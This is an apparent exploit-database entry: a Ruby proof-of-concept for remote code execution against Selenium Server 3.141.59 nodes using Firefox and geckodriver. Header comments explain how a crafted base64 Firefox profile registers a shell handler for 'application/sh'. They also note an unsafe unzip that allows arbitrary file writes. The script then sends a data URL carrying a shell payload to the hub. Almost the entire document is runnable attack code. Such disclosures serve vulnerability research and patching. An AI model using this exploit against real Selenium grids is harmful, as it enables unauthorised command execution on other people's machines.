# Exploit Title: Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver) # Date: 2021-05-27 # Exploit Author: Jon Stratton # Vendor Homepage: https://www.selenium.dev/ # Software Link: https://selenium-release.storage.googleapis.com/3.141/selenium-server-standalone-3.141.59.jar # Version: 3.141.59 # Tested on: Selenium Server 3.141.59, webdriver, geckodriver # # https://github.com/JonStratton/selenium-node-takeover-kit/blob/master/examples/selenium_node_rce.rb # # When Selenium runs, it creates a custom profile (in /tmp/ for Linux) on the Node. This profile then gets overwritten by a possible overlay that is sent in a base64 encoded zip file when a Selenium session is started. # # One of the config file can be used to set a custom handler (which do things like, for instance, associates “mailto:blah@blah.com” to your email client). In this example, a new handler is created for “application/sh” that will execute the argument with “/bin/sh” # # Side notes, this profile doesn't safely unzip. So this can be used to write files to the file-system. # # The Payload is encoded and embedded as inline data associated with the "application/sh" mime type. #!/usr/bin/env ruby require 'optparse' require 'net/http' require 'json' require 'uri' require 'zip' require 'base64' options = {} OptionParser.new do |opts| opts.banner = 'Usage: example.rb [options]' opts.on('-hURL', '--hubURL', 'Selenium Hub URL') do |h| options[:hub] = h end opts.on('--help', 'Prints this help') do puts opts exit end end.parse! hub_url = options[:hub] payload = 'rm -rf $0 echo success > /tmp/selenium_node_rce.txt' # Build profile zip file. stringio = Zip::OutputStream::write_buffer do |io| # Create a handler for shell scripts io.put_next_entry("handlers.json") io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}') end stringio.rewind encoded_profile = Base64.strict_encode64(stringio.sysread) # Create session with our new profile newSession = {:desiredCapabilities => {:browserName => "firefox", :firefox_profile => encoded_profile}} uri = URI.parse(hub_url) http = Net::HTTP.new(uri.host, uri.port) # Start session with encoded_profile and save session id for cleanup. uri = URI.parse("%s/session" % [hub_url]) request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json') request.body = JSON.generate(newSession) response = http.request(request) sessionId = JSON.parse(response.body)["value"]["sessionId"] # URL. data_url = "data:application/sh;charset=utf-16le;base64,%s" % [Base64.encode64(payload)] uri = URI.parse("%s/session/%s/url" % [hub_url, sessionId]) request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json') request.body = JSON.generate(:url => data_url) response = http.request(request) # End session(not working) uri = URI.parse("%s/session/%s" % [hub_url, sessionId]) request = Net::HTTP::Delete.new(uri.request_uri) http.request(request) exit